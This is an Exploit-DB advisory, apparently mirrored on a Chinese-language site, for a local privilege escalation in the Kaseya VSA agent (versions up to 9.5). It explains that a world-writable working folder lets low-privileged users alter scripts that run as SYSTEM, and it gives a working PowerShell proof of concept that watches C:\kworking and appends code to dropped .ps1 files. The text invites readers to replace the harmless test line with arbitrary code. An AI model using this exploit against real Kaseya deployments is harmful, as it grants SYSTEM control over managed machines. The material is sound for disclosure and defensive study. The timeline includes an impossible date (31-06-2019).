Kaseya VSA agent 9.5 – Privilege Escalation

• Exploit Database
• 13 阅读

• 作者： NF
  日期： 2019-09-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47341/

• # Exploit Title: Kaseya VSA agent <= 9.5 privilege escalation
  # Google Dork: N/A
  # Date: 2-09-2019
  # Exploit Author: NF
  # Vendor Homepage: https://www.kaseya.com/products/vsa/
  # Software Link: https://www.kaseya.com/products/vsa/
  # Version:<= 9.5 agentmon.exe
  # Tested on: Windows 10
  # CVE : N/A
  
  
  ##Vulnerability##
  
  This is not a new issue as such but more of the same in line with <a href="https://www.securityfocus.com/archive/1/541884/30/300/threaded">CVE-2017-12410</a> found by Filip Palian.
  A a fix was put in place for the original CVE, however it was specific to binaries and not scripts.
  The root cause for both issues is allowing a low privileged group excessive permissions to a folder used by a elevated process.
  
  The Kaseya agent (agentmon.exe) runs as SYSTEM by default.
  The agent also has a default working folder @ C:\kworking\
  It will pull scripts and binaries to this folder and execute them from disk from the controlling web application.
  By default the *Authenticated Users* group has all rights to this folder.
  
  Scripts are written to disk however they are not checked for integrity prior to execution.
  So a folder can be monitored for script files being dropped and then append malicious code prior to execution.
  
  ##Proof of concept##
  
  This PowerShell script will monitor the default working directory.
  When a ps1 script drops from a scheduled task or run from the VSA web application it will then append the command "Write-Host 'injected content'" which will run as SYSTEM.
  Change the Write-Host command to the code to be executed or update the script to target other script drops such as vb script.
  
  Note: To test you will need to sign up for a trial with VSA to have the ability to deploy an agent & schedule/run scripts
  
  <--script start-->
  
  $folder = 'c:\kworking'
  $filter = '*.ps1'
  
  $filesystem = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $false;NotifyFilter =[IO.NotifyFilters]'FileName, LastWrite'}
  
  Register-ObjectEvent $filesystem Created -SourceIdentifier FileCreated -Action {
  $path = $Event.SourceEventArgs.FullPath
  "`nWrite-Host 'injected content'" | Out-File -Append -FilePath $path -Encoding utf8
  Unregister-Event FileCreated
  }
   
  <--script end-->
  
  ##Timeline##
  
  16-06-2019 :: Issue found
  18-06-2019 :: security@ emailed requesting steps to disclose
  30-06-2019 :: CERT contacted due to non response of vendor from official email address
  31-06-2019 :: CERT still unable to contact vendor
  07-07-2019 :: CERT makes contact with vendor. Discover security@ address is not monitored by vendor
  20-08-2019 :: Vendor confirms receipt of details
  27-08-2019 :: Email sent indicating intention to disclose due to lack of response
  02-09-2019 :: No response through CERT. Findings published